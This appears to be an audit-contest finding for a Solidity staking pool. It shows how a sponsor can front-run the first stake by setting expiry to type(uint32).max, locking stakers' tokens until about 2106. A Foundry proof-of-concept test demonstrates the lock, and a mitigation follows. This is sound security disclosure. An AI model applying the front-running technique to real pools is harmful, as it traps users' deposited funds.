FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: high
Likelihood: medium

Sponsor can front-run the first active-risk stake and lock principal until 2106

Author Revealed upon completion

Description

stake(uint256 amount) does not bind the transaction to the expiry that the staker reviewed. Before the first stake, setExpiry lets the sponsor choose any deadline up to type(uint32).max. stake accepts only amount, so an intervening expiry change does not make the pending transaction revert. The successful stake then sets expiryLocked = true, permanently committing the sponsor-selected value.

If the agreement is already UNDER_ATTACK, that same stake seals riskWindowStart. Deposits are allowed in this state, but withdraw is disabled once the risk window starts. claimExpired checks the new locked expiry rather than the deadline the staker accepted. A sponsor can therefore front-run the first stake with setExpiry(type(uint32).max) and the victim's unchanged stake still succeeds and becomes trapped.

This is configuration slippage, not incorrect admin input: both calls are valid, but the value-transfer function cannot reject a sponsor change made after the user reviewed the pool. This defeats the design's stated guarantee that the first stake protects reliance on the advertised deadline.

The sponsor can sustain the condition under the pinned BattleChain dependency. The agreement owner becomes its attackModerator and controls promote, so they can leave the agreement UNDER_ATTACK. A trusted registry moderator can intervene, but the staker has no unilateral recovery path.

Risk

The malicious expiry can be 4,294,967,295, approximately February 2106. The proof deposits 100 tokens and shows that withdraw() and claimExpired() revert at the advertised deadline. claimExpired() still reverts 50 years later, with all 100 tokens held by the pool.

Severity is Medium: principal availability is severely affected, but exploitation requires targeting the first stake while the agreement is UNDER_ATTACK. No theft or unconditional permanent lock is claimed because a trusted registry moderator can end the state.

Proof of Concept

Add test/poc/ExpiryFrontRun.t.sol:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
contract ExpiryFrontRunPoC is BaseConfidencePoolTest {
function testSponsorCanFrontRunFirstStakeAndExtendLockedExpiry() external {
uint256 advertisedExpiry = pool.expiry();
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
token.mint(alice, 100 * ONE);
vm.prank(alice);
token.approve(address(pool), 100 * ONE);
uint256 maliciousExpiry = type(uint32).max;
pool.setExpiry(maliciousExpiry);
vm.prank(alice);
pool.stake(100 * ONE);
assertTrue(pool.expiryLocked());
assertEq(pool.expiry(), maliciousExpiry);
assertGt(pool.riskWindowStart(), 0);
assertEq(token.balanceOf(alice), 0);
assertEq(token.balanceOf(address(pool)), 100 * ONE);
vm.prank(alice);
vm.expectRevert(IConfidencePool.WithdrawsDisabled.selector);
pool.withdraw();
vm.warp(advertisedExpiry);
vm.prank(alice);
vm.expectRevert(IConfidencePool.PoolNotExpired.selector);
pool.claimExpired();
vm.warp(advertisedExpiry + 50 * 365 days);
vm.prank(alice);
vm.expectRevert(IConfidencePool.PoolNotExpired.selector);
pool.claimExpired();
assertEq(token.balanceOf(alice), 0);
assertEq(token.balanceOf(address(pool)), 100 * ONE);
}
}

Run:

forge test --match-path test/poc/ExpiryFrontRun.t.sol -vvv

Result:

[PASS] testSponsorCanFrontRunFirstStakeAndExtendLockedExpiry()
Suite result: ok. 1 passed; 0 failed; 0 skipped

Mitigation

Bind a stake to the deadline the user accepted:

function stake(uint256 amount, uint256 expectedExpiry) external {
if (expiry != expectedExpiry) revert ExpiryChanged();
// existing stake logic
}

As defense in depth, disallow setExpiry whenever the live registry is in an active-risk state. Add a regression test in which the sponsor changes expiry before a pending stake and assert that the stale stake reverts without transferring tokens.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!